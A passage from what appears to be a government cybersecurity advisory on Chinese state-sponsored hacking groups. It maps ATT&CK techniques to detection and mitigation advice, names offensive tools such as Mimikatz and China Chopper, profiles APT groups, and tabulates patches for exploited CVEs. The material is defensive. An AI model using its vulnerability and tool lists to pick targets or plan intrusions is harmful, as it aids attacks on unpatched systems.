[[T1334](<https://attack.mitre.org/techniques/T1334/>)] | Compromising infrastructure owned by other parties to facilitate attacks (instead of directly purchasing infrastructure) \n_Domain Registration Hijacking_ [[T1326](<https://attack.mitre.org/techniques/T1326/>)] | Changing the registration of a domain name without the permission of its original registrant and then using the legitimate domain as a launch point for malicious purposes \n_Acquire Open-Source Intelligence (OSINT) Data Sets and Information_ [[T1247](<https://attack.mitre.org/techniques/T1247/>)] | Gathering data and information from publicly available sources, including public-facing websites of the target organization \n_Conduct Active Scanning _[[T1254](<https://attack.mitre.org/techniques/T1254/>)] | Gathering information on target systems by scanning the systems for vulnerabilities. Adversaries are likely using tools such as Shodan to identify vulnerable devices connected to the internet \n_Analyze Architecture and Configuration Posture _[[T1288](<https://attack.mitre.org/techniques/T1288/>)] | Analyzing technical scan results to identify architectural flaws, misconfigurations, or improper security controls in victim networks \n_Upload, Install, and Configure Software/Tools_ [[T1362](<https://attack.mitre.org/techniques/T1362>)] | Placing malware on systems illegitimately for use during later stages of an attack to facilitate exploitability and gain remote access \n \n#### Enterprise ATT&CK TTPs\n\nChinese threat actors often employ publicly known TTPs against enterprise networks. To orchestrate attacks, they use commonly implemented security testing tools and frameworks, such as:\n\n * Cobalt Strike and Beacon\n * Mimikatz\n * PoisonIvy\n * PowerShell Empire\n * China Chopper Web Shell\n\nTable 2 lists common, publicly known, TTPs used by Chinese threat actors against enterprise networks and provides options for detection and mitigation based on the MITRE ATT&CK framework.\n\n_Table 2: Common Chinese threat actor techniques, detection, and mitigation_\n\n**Technique / Sub-Technique** | **Detection** | **Mitigation** \n---|---|--- \n_Obfuscated Files or Information _[[T1027](<https://attack.mitre.org/techniques/T1027/>)] | \n\n * Detect obfuscation by analyzing signatures of modified files.\n * Flag common syntax used in obfuscation.\n| \n\n * Use antivirus/antimalware software to analyze commands after processing. \n_Phishing: Spearphishing Attachment _[[T1566.001](<https://attack.mitre.org/techniques/T1566/001/>)] and _Spearphishing Link _[[T1566.002](<https://attack.mitre.org/techniques/T1566/002/>)] | \n\n * Use network intrusion detection systems (NIDS) and email gateways to detect suspicious attachments in email entering the network.\n * Use detonation chambers to inspect email attachments in isolated environments.\n| \n\n * Quarantine suspicious files with antivirus solutions.\n * Use network intrusion prevention systems to scan and remove malicious email attachments.\n * Train users to identify phishing emails and notify IT. \n_System Network Configuration Discovery_ [[T1016](<https://attack.mitre.org/techniques/T1016/>)] | \n\n * Monitor for processes and command-line arguments that could be used by an adversary to gather system and network information.\n| \n\n * This technique is difficult to mitigate with preventative controls; organizations should focus on detecting and responding to malicious activity to limit impact. \n_Command and Scripting Interpreter: Windows Command Shell _[[T1059.003](<https://attack.mitre.org/techniques/T1059/003/>)] | \n\n * Identify normal scripting behavior on the system then monitor processes and command-line arguments for suspicious script execution behavior.\n| \n\n * Only permit execution of signed scripts.\n * Disable any unused shells or interpreters. \n \n_User Execution: Malicious File _[[T1204.002](<https://attack.mitre.org/techniques/T1204/002/>)] | \n\n * Monitor execution of command-line arguments for applications (including compression applications) that may be used by an adversary to execute a user interaction.\n * Set antivirus software to detect malicious documents and files downloaded and installed on endpoints.\n| \n\n * Use execution prevention to prevent the running of executables disguised as other files.\n * Train users to identify phishing attacks and other malicious events that may require user interaction. \n_Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder _[[T1547.001](<https://attack.mitre.org/techniques/T1547/001/>)] | \n\n * Monitor the start folder for additions and changes.\n * Monitor registry for changes to run keys that do not correlate to known patches or software updates.\n| \n\n * This technique is difficult to mitigate with preventative controls; organizations should focus on detecting and responding to malicious activity to limit impact. \n_Command and Scripting Interpreter: PowerShell _[[T1059.001](<https://attack.mitre.org/techniques/T1059/001/>)] | \n\n * Enable PowerShell logging.\n * Monitor for changes in PowerShell execution policy as a method of identifying malicious use of PowerShell.\n * Monitor for PowerShell execution generally in environments where PowerShell is not typically used.\n| \n\n * Set PowerShell execution policy to execute only signed scripts.\n * Disable PowerShell if not needed by the system.\n * Disable WinRM service to help prevent use of PowerShell for remote execution.\n * Restrict PowerShell execution policy to administrators. \n_Hijack Execution Flow: DLL Side-Loading _[[T1574.002](<https://attack.mitre.org/techniques/T1574/002/>)] | \n\n * Track Dynamic Link Library (DLL) metadata, and compare DLLs that are loaded at process execution time against previous executions to detect usual differences unrelated to patching.\n| \n\n * Use the program `sxstrace.exe` to check manifest files for side-loading vulnerabilities in software.\n * Update software regularly including patches for DLL side-loading vulnerabilities. \n_Ingress Tool Transfer_ [[T1105](<https://attack.mitre.org/techniques/T1105/>)] | \n\n * Monitor for unexpected file creation or files transfer into the network from external systems, which may be indicative of attackers staging tools in the compromised environment.\n * Analyze network traffic for unusual data flows (i.e., a client sending much more data than it receives from a server).\n| \n\n * Use network intrusion detection and prevention systems to identify traffic for specific adversary malware or unusual data transfer over protocols such as File Transfer Protocol. \n_Remote System Discovery_ [[T1018](<https://attack.mitre.org/techniques/T1018/>)] | \n\n * Monitor processes and command-line arguments for actions that could be taken to gather system and network information.\n * In cloud environments, usage of commands and application program interfaces (APIs) to request information about remote systems combined with additional unexpected commands may be a sign of malicious use.\n| \n\n * This technique is difficult to mitigate with preventative controls; organizations should focus on detecting and responding to malicious activity to limit impact. \n_Software Deployment Tools_ [[T1072](<https://attack.mitre.org/techniques/T1072/>)] | \n\n * Identify the typical use pattern of third-party deployment software, then monitor for irregular deployment activity.\n| \n\n * Isolate critical network systems access using group policies, multi-factor authentication (MFA), and firewalls.\n * Patch deployment systems regularly.\n * Use unique and limited credentials for access to deployment systems. \n_Brute Force: Password Spraying_ [[T1110.003](<https://attack.mitre.org/techniques/T1110/003/>)] | \n\n * Monitor logs for failed authentication attempts to valid accounts.\n| \n\n * Use MFA.\n * Set account lockout policies after a certain number of failed login attempts. \n_Network Service Scanning_ [[T1046](<https://attack.mitre.org/techniques/T1046/>)] | \n\n * Use NIDS to identify scanning activity.\n| \n\n * Close unnecessary ports and services.\n * Segment network to protect critical servers and devices. \n_Email Collection _[[T1114](<https://attack.mitre.org/techniques/T1114/>)] | \n\n * Monitor processes and command-line arguments for actions that could be taken to gather local email files.\n| \n\n * Encrypt sensitive emails.\n * Audit auto-forwarding email rules regularly.\n * Use MFA for public-facing webmail servers. \n_Proxy: External Proxy_ [[T1090.002](<https://attack.mitre.org/techniques/T1090/002/>)] | \n\n * Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server.\n| \n\n * Use NIDS and prevention systems to identify traffic for specific adversary malware using network signatures. \n_Drive-by Compromise _[[T1189](<https://attack.mitre.org/techniques/T1189/>)] | \n\n * Use Firewalls and proxies to inspect URLs for potentially known-bad domains or parameters.\n * Monitor network intrusion detection systems (IDS) to detect malicious scripts, and monitor endpoints for abnormal behavior.\n\n| \n\n * Isolate and sandbox impacted systems and applications to restrict the spread of malware.\n * Leverage security applications to identify malicious behavior during exploitation.\n * Restrict web-based content through ad-blockers and script blocking extensions. \n_Server Software Component: Web Shell_ [[T1505.003](<https://attack.mitre.org/techniques/T1505/003/>)] | \n\n * Analyze authentication logs, files, netflow/enclave netflow, and leverage process monitoring to discover anomalous activity.\n| \n\n * Patch vulnerabilities in internet facing applications.\n * Leverage file integrity monitoring to identify file changes.\n * Configure server to block access to the web accessible directory through principle of least privilege. \n_Application Layer Protocol: File Transfer Protocols _[[T1071.002](<https://attack.mitre.org/techniques/T1071/002/>)] and _DNS_ [[T1071.004](<https://attack.mitre.org/techniques/T1071/004/>)] | \n\n * Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server).\n * Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.\n| \n\n * Leverage NIDS and NIPS using network signatures to identify traffic for specific adversary malware. \n \n#### Additional APT Activity\n\nThe TTPs listed above have been repeatedly used across the spectrum of Chinese threat actors. The mitigations referenced in this alert can help reduce vulnerability to these TTPs; however, defenders should also maintain heightened awareness of threats actors that are more innovative in their approach, making it difficult to detect and respond to compromise. Publicly reported examples[[13](<https://www.fireeye.com/current-threats/apt-groups.html>)] include:\n\n * **APT3 **(known as UPS Team) is known for deploying zero-day attacks that target Internet Explorer, Firefox, and Adobe Flash Player. The group\u2019s custom implants and changing Command and Control (C2) infrastructure make them difficult to track. APT3 exploits use Rivest Cypher 4 (RC4) encryption to communicate and bypass address space layout randomization (ASLR)/Data Execution Prevention (DEP) by using Return Oriented Programming (ROP) chains.[[14](<https://attack.mitre.org/groups/G0022/>)]\n * **APT10 **(known as MenuPass Group) has established accessed to victim networks through compromised service providers, making it difficult for network defenders to identify the malicious traffic.\n * **APT19** (known as Codoso and Deep Panda) is known for developing custom Rich Text Format (RTF) and macro-enabled Microsoft Office documents for both implants and payloads. The group has backdoored software, such as software serial generators, and has an elite use of PowerShell for C2 over Hyper Text Transfer Protocol (HTTP)/Hyper Text Transfer Protocol Secure (HTTPS).[[15](<https://attack.mitre.org/groups/G0073/>)]\n * **APT40** (known as Leviathan) has targeted external infrastructure with success, including internet-facing routers and virtual private networks.\n * **APT41 **(known as Double Dragon) has exploited vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central to compromise victims.[[16](<https://attack.mitre.org/groups/G0096/>)]\n\n### Mitigations\n\n### Recommended Actions\n\nThe following list provides actionable technical recommendations for IT security professionals to reduce their organization\u2019s overall vulnerability. These recommendations are not exhaustive; rather they focus on the actions that will greatly reduce stakeholders\u2019 attack surface.\n\n 1. **Patch systems and equipment promptly and diligently. **Establishing and consistently maintaining a thorough patching cycle continues to be the best defense against adversary TTPs. Focus on patching critical and high vulnerabilities that allow for remote code execution or denial-of-service on externally-facing (i.e., internet) equipment. Certain vulnerabilities\u2014including CVE-2012-0158 in Microsoft products [[17](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a >)], CVE-2019-19781 in Citrix devices [[18](<https://us-cert.cisa.gov/ncas/alerts/aa20-020a>)], and CVE-2020-5902 in BIG-IP Traffic Management User Interface [[19](<https://us-cert.cisa.gov/ncas/current-activity/2020/07/04/f5-releases-security-advisory-big-ip-tmui-rce-vulnerability-cve>)]\u2014have presented APTs with prime targets to gain initial access. Chinese APTs often use existing exploit code to target routinely exploited vulnerabilities [[20](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a >)], which present an opportunistic attack that requires limited resources. See table 3 for patch information on CVEs that have been routinely exploited by Chinese APTs. See table 4 for patch information on vulnerabilities that the National Security Agency (NSA) has stated are actively used by Chinese state-sponsored cyber actors.\n\n_Table 3: Patch information for vulnerabilities routinely exploited by Chinese APT actors_\n\n**Vulnerability** | **Vulnerable Products** | **Patch Information** \n---|---|--- \n[CVE-2012-0158](<https://nvd.nist.gov/vuln/detail/CVE-2012-0158>) | \n\nMicrosoft Office 2003 SP3, 2007 SP2 and SP3, and 2010 Gold and SP1; Office 2003 Web Components SP3; SQL Server 2000 SP4, 2005 SP4, and 2008 SP2, SP3, and R2; BizTalk Server 2002 SP1; Commerce Server 2002 SP4, 2007 SP2, and 2009 Gold and R2; Visual FoxPro 8.0 SP1 and 9.0 SP2; and Visual Basic 6.0\n\n| \n\n * [Microsoft Security Bulletin MS12-027: Vulnerability in Windows Common Controls Could Allow Remote Code Execution](<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2012/ms12-027>) \n[CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) | \n\n * Big-IP devices (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT)\n| \n\n * [F5 Security Advisory: K52145254: TMUI RCE vulnerability CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>) \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) | \n\n * Citrix Application Delivery Controller\n * Citrix Gateway\n * Citrix SDWAN WANOP\n\n| \n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0](<https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/>)\n * [Citrix blog post: security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3](<https://www.citrix.com/blogs/2020/01/22/update-on-cve-2019-19781-fixes-now-available-for-citrix-sd-wan-wanop/>)\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0](<https://www.citrix.com/blogs/2020/01/23/fixes-now-available-for-citrix-adc-citrix-gateway-versions-12-1-and-13-0/>)\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway version 10.5](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) | \n\n * Pulse Connect Secure 9.0R1 - 9.0R3.3, 8.3R1 - 8.3R7, 8.2R1 - 8.2R12, 8.1R1 - 8.1R15\n * Pulse Policy Secure 9.0R1 - 9.0R3.1, 5.4R1 - 5.4R7, 5.3R1 - 5.3R12, 5.2R1 - 5.2R12, 5.1R1 - 5.1R15\n| \n\n * [Pulse Secure Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) \n[CVE-2019-16920](<https://nvd.nist.gov/vuln/detail/CVE-2019-16920>) | \n\n * D-Link products DIR-655C, DIR-866L, DIR-652, DHP-1565, DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825\n| \n\n * [D-Link Security Advisory: DAP-1533 Rv Ax, DGL-5500 Rv Ax, DHP-1565 Rv Ax, DIR-130 Rv Ax, DIR-330 Rv Ax, DIR-615 Rv Ix, (non-US) DIR-652 Rv Bx, DIR-655 Rv Cx, DIR-825 Rv Cx, DIR-835 Rv Ax, DIR-855L Rv Ax, (non-US) DIR-862 Rv Ax, DIR-866L Rv Ax :: CVE-2019-16920 :: Unauthenticated Remote Code Execution (RCE) Vulnerability](<https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10124>) \n[CVE-2019-16278](<https://nvd.nist.gov/vuln/detail/CVE-2019-16278>) | \n\n * Nostromo 1.9.6 and below\n| \n\n * [Nostromo 1.9.6 Directory Traversal/ Remote Command Execution](<https://packetstormsecurity.com/files/155045/Nostromo-1.9.6-Directory-Traversal-Remote-Command-Execution.html>)\n * [Nostromo 1.9.6 Remote Code Execution](<https://packetstormsecurity.com/files/155802/nostromo-1.9.6-Remote-Code-Execution.html>) \n \n[CVE-2019-1652](<https://nvd.nist.gov/vuln/detail/CVE-2019-1652>) | \n\n * Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers\n| \n\n * [Cisco Security Advisory: Cisco Small Business RV320 and RV325 Routers Command Injection Vulnerability](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject>) \n[CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) | \n\n * Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers\n| \n\n * [Cisco Security Advisory: Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info>) \n[CVE-2020-10189](<https://nvd.nist.gov/vuln/detail/CVE-2020-10189>) | \n\n * Zoho ManageEngine Desktop Central before 10.0.474\n| \n\n * [ManageEngine Desktop Central remote code execution vulnerability (CVE-2020-10189)](<https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html>) \n \n_Table 4: Patch information for NSA listed vulnerabilities used by Chinese state-sponsored cyber actors [[21](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>)]_\n\n**Vulnerability** | **Vulnerable Products** | **Patch Information** \n---|---|--- \n[CVE-2020-8193](<https://nvd.nist.gov/vuln/detail/CVE-2020-8193>) | \n\n * Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18\n * Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7\n| \n\n * [Citrix Security Bulletin CTX276688](<https://support.citrix.com/article/CTX276688>) \n[CVE-2020-8195](<https://nvd.nist.gov/vuln/detail/CVE-2020-8195>) | \n\n * Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18\n * Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7\n| \n\n * [Citrix Security Bulletin CTX276688](<https://support.citrix.com/article/CTX276688>) \n[CVE-2020-8196](<https://nvd.nist.gov/vuln/detail/CVE-2020-8196>) | \n\n * Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18\n * Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7\n\n| \n\n * [Citrix Security Bulletin CTX276688](<https://support.citrix.com/article/CTX276688>) \n[CVE-2019-0708](<https://nvd.nist.gov/vuln/detail/CVE-2019-0708>) | \n\n * Windows 7 for 32-bit Systems Service Pack 1\n * Windows 7 for x64-based Systems Service Pack 1\n * Windows Server 2008 for 32-bit Systems Service Pack 2\n * Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 for Itanium-Based Systems Service Pack 2\n * Windows Server 2008 for x64-based Systems Service Pack 2\n * Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2019-0708](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708>) \n[CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) | \n\n * MobileIron Core & Connector versions 10.3.0.3 and earlier, 10.4.0.0, 10.4.0.1, 10.4.0.2, 10.4.0.3, 10.5.1.0, 10.5.2.0 and 10.6.0.0\n * Sentry versions 9.7.2 and earlier, and 9.8.0;\n * Monitor and Reporting Database (RDB) version 2.0.0.1 and earlier\n| \n\n * [MobileIron Blog: MobileIron Security Updates Available](<https://www.mobileiron.com/en/blog/mobileiron-security-updates-available>) \n[CVE-2020-1350](<https://nvd.nist.gov/vuln/detail/CVE-2020-1350>) | \n\n * Windows Server 2008 for 32-bit Systems Service Pack 2\n * Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 for x64-based Systems Service Pack 2\n * Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2012 R2 (Server Core installation)\n * Windows Server 2016\n * Windows Server 2016 (Server Core installation)\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1903 (Server Core installation)\n * Windows Server, version 1909 (Server Core installation)\n * Windows Server, version 2004 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2020-1350](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350>) \n \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) | \n\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2016\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1903 (Server Core installation)\n * Windows Server, version 1909 (Server Core installation)\n * Windows Server, version 2004 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) \n \n[CVE-2020-1040](<https://nvd.nist.gov/vuln/detail/CVE-2020-1040>) | \n\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2012 R2 (Server Core installation)\n * Windows Server 2016\n * Windows Server 2016 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2020-1040](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1040>) \n[CVE-2018-6789](<https://nvd.nist.gov/vuln/detail/CVE-2018-6789>) | \n\n * Exim before 4.90.1\n| \n\n * [Exim page for CVE-2020-6789](<https://exim.org/static/doc/security/CVE-2018-6789.txt>)\n * [Exim patch information for CVE-2020-6789](<https://git.exim.org/exim.git/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1>) \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) | \n\n * Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30\n * Microsoft Exchange Server 2013 Cumulative Update 23\n * Microsoft Exchange Server 2016 Cumulative Update 14\n * Microsoft Exchange Server 2016 Cumulative Update 15\n * Microsoft Exchange Server 2019 Cumulative Update 3\n * Microsoft Exchange Server 2019 Cumulative Update 4\n| \n\n * [Microsoft Security Advisory for CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) \n[CVE-2018-4939](<https://nvd.nist.gov/vuln/detail/CVE-2018-4939>) | \n\n * ColdFusion Update 5 and earlier versions\n * ColdFusion 11 Update 13 and earlier versions\n| \n\n * [Adobe Security Bulletin APSB18-14](<https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html>) \n[CVE-2015-4852](<https://nvd.nist.gov/vuln/detail/CVE-2015-4852>) | \n\n * Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0\n| \n\n * [Oracle Critical Patch Update Advisory - October 2016](<https://www.oracle.com/security-alerts/cpuoct2016.html>) \n[CVE-2020-2555](<https://nvd.nist.gov/vuln/detail/CVE-2020-2555>) | \n\n * Oracle Coherence product of Oracle Fusion Middleware Middleware; versions 3.7.1.0, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0.\n| \n\n * [Oracle Critical Patch Update Advisory - January 2020](<https://www.oracle.com/security-alerts/cpujan2020.html>) \n[CVE-2019-3396](<https://nvd.nist.gov/vuln/detail/CVE-2019-3396>) | \n\n * Atlassian Confluence Server before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3), and from version 6.14.0 before 6.14.2\n| \n\n * [Jira Atlassian Confluence Sever and Data Center: Remote code execution via Widget Connector macro - CVE-2019-3396](<https://jira.atlassian.com/browse/CONFSERVER-57974>) \n[CVE-2019-11580](<https://nvd.nist.gov/vuln/detail/CVE-2019-11580>) | \n\n * Atlassian Crowd and Crowd Data Center from version 2.1.0 before 3.0.5, from version 3.1.0 before 3.1.6, from version 3.2.0 before 3.2.8, from version 3.3.0 before 3.3.5, and from version 3.4.0 before 3.4.4\n| \n\n * [Jira Atlassian Crowd: Crowd - pdkinstall development plugin incorrectly enabled - CVE-2019-11580](<https://jira.atlassian.com/browse/CWD-5388>) \n[CVE-2020-10189](<https://nvd.nist.gov/vuln/detail/CVE-2020-10189>) | \n\n * Zoho ManageEngine Desktop Central before 10.0.474\n| \n\n * [ManageEngine Desktop Central remote code execution vulnerability (CVE-2020-10189)](<https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html>) \n[CVE-2019-18935](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>) | \n\n * Progress Telerik UI for ASP.NET AJAX through 2019.3.1023\n| \n\n * [Telerik: ASP.NET AJAX: Allows JavaScriptSerializer Deserialization](<https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization>) \n[CVE-2020-0601](<https://nvd.nist.gov/vuln/detail/CVE-2020-0601>) | \n\n * Windows 10 for 32-bit Systems\n * Windows 10 for x64-based Systems\n * Windows 10 Version 1607 for 32-bit Systems\n * Windows 10 Version 1607 for x64-based Systems\n * Windows 10 Version 1709 for 32-bit Systems\n * Windows 10 Version 1709 for ARM64-based Systems\n * Windows 10 Version 1709 for x64-based Systems\n * Windows 10 Version 1803 for 32-bit Systems\n * Windows 10 Version 1803 for ARM64-based Systems\n * Windows 10 Version 1803 for x64-based Systems\n * Windows 10 Version 1809 for 32-bit Systems\n * Windows 10 Version 1809 for ARM64-based Systems\n * Windows 10 Version 1809 for x64-based Systems\n * Windows 10 Version 1903 for 32-bit Systems\n * Windows 10 Version 1903 for ARM64-based Systems\n * Windows 10 Version 1903 for x64-based Systems\n * Windows 10 Version 1909 for 32-bit Systems\n * Windows 10 Version 1909 for ARM64-based Systems\n * Windows 10 Version 1909 for x64-based Systems\n * Windows Server 2016\n * Windows Server 2016 (Server Core installation)\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1803 (Server Core Installation)\n * Windows Server, version 1903 (Server Core installation)\n * Windows Server, version 1909 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2020-0601](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601>) \n[CVE-2019-0803](<https://nvd.nist.gov/vuln/detail/CVE-2019-0803>) | \n\n * Windows 10 for 32-bit Systems\n * Windows 10 for x64-based Systems\n * Windows 10 Version 1607 for 32-bit Systems\n * Windows 10 Version 1607 for x64-based Systems\n * Windows 10 Version 1703 for 32-bit Systems\n * Windows 10 Version 1703 for x64-based Systems\n * Windows 10 Version 1709 for 32-bit Systems\n * Windows 10 Version 1709 for ARM64-based Systems\n * Windows 10 Version 1709 for x64-based Systems\n * Windows 10 Version 1803 for 32-bit Systems\n * Windows 10 Version 1803 for ARM64-based Systems\n * Windows 10 Version 1803 for x64-based Systems\n * Windows 10 Version 1809 for 32-bit Systems\n * Windows 10 Version 1809 for ARM64-based Systems\n * Windows 10 Version 1809 for x64-based Systems\n * Windows 7 for 32-bit Systems Service Pack 1\n * Windows 7 for x64-based Systems Service Pack 1\n * Windows 8.1 for 32-bit systems\n * Windows 8.1 for x64-based systems\n * Windows RT 8.1\n * Windows Server 2008 for 32-bit Systems Service Pack 2\n * Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 for Itanium-Based Systems Service Pack 2\n * Windows Server 2008 for x64-based Systems Service Pack\n * Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2012 R2 (Server Core installation)\n * Windows Server 2016\n * Windows Server 2016 (Server Core installation)\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1803 (Server Core Installation)\n| \n\n * [Microsoft Security Advisory for CVE-2019-0803](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0803>) \n \n[CVE-2017-6327](<https://nvd.nist.gov/vuln/detail/CVE-2017-6327>) | \n\n * Symantec Messaging Gateway before 10.6.3-267\n| \n\n * [Broadcom Security Updates Detial for CVE-2017-6327 and CVE-2017-6328 ](<https://www.broadcom.com/support/security-center/securityupdates/detail?fid=security_advisory&pvid=security_advisory&year=&suid=20170810_00>) \n[CVE-2020-3118](<https://nvd.nist.gov/vuln/detail/CVE-2020-3118>) | \n\n * ASR 9000 Series Aggregation Services Routers\n * Carrier Routing System (CRS)\n * IOS XRv 9000 Router\n * Network Convergence System (NCS) 540 Series Routers\n * NCS 560 Series Routers\n * NCS 1000 Series Routers\n * NCS 5000 Series Routers\n * NCS 5500 Series Routers\n * NCS 6000 Series Routers\n| \n\n * [Cisco Security Advisory cisco-sa-20200205-iosxr-cdp-rce](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-iosxr-cdp-rce>) \n[CVE-2020-8515](<https://nvd.nist.gov/vuln/detail/CVE-2020-8515>) | \n\n * DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices\n| \n\n * [Draytek Security Advisory: Vigor3900 / Vigor2960 / Vigor300B Router Web Management Page Vulnerability (CVE-2020-8515)](<https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-\\(cve-2020-8515\\)/>) \n \n 2. **Implement rigorous configuration management programs. **Audit configuration management programs to ensure they can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses. Implementing a robust configuration and patch management program hinders sophisticated APT operations by limiting the effectiveness of opportunistic attacks. \n\n 3. **Disable unnecessary ports, protocols, and services.** Review network security device logs and determine whether to shut off unnecessary ports and protocols. Monitor common ports and protocols for C2 activity. Turn off or disable any unnecessary services or functionality within devices (e.g., universal plug and play [UPnP], PowerShell). \n\n 4. **Enhance monitoring of network and email traffic.** Review network signatures and indicators for focused operations activities, monitor for new phishing themes, and adjust email rules accordingly. Follow best practices of restricting attachments via email. Ensure that log information is aggregated and correlated to enable maximum detection capabilities, with a focus on monitoring for account misuse. \n\n 5. **Use protection capabilities to stop malicious activity.** Implement antivirus software and other endpoint protection 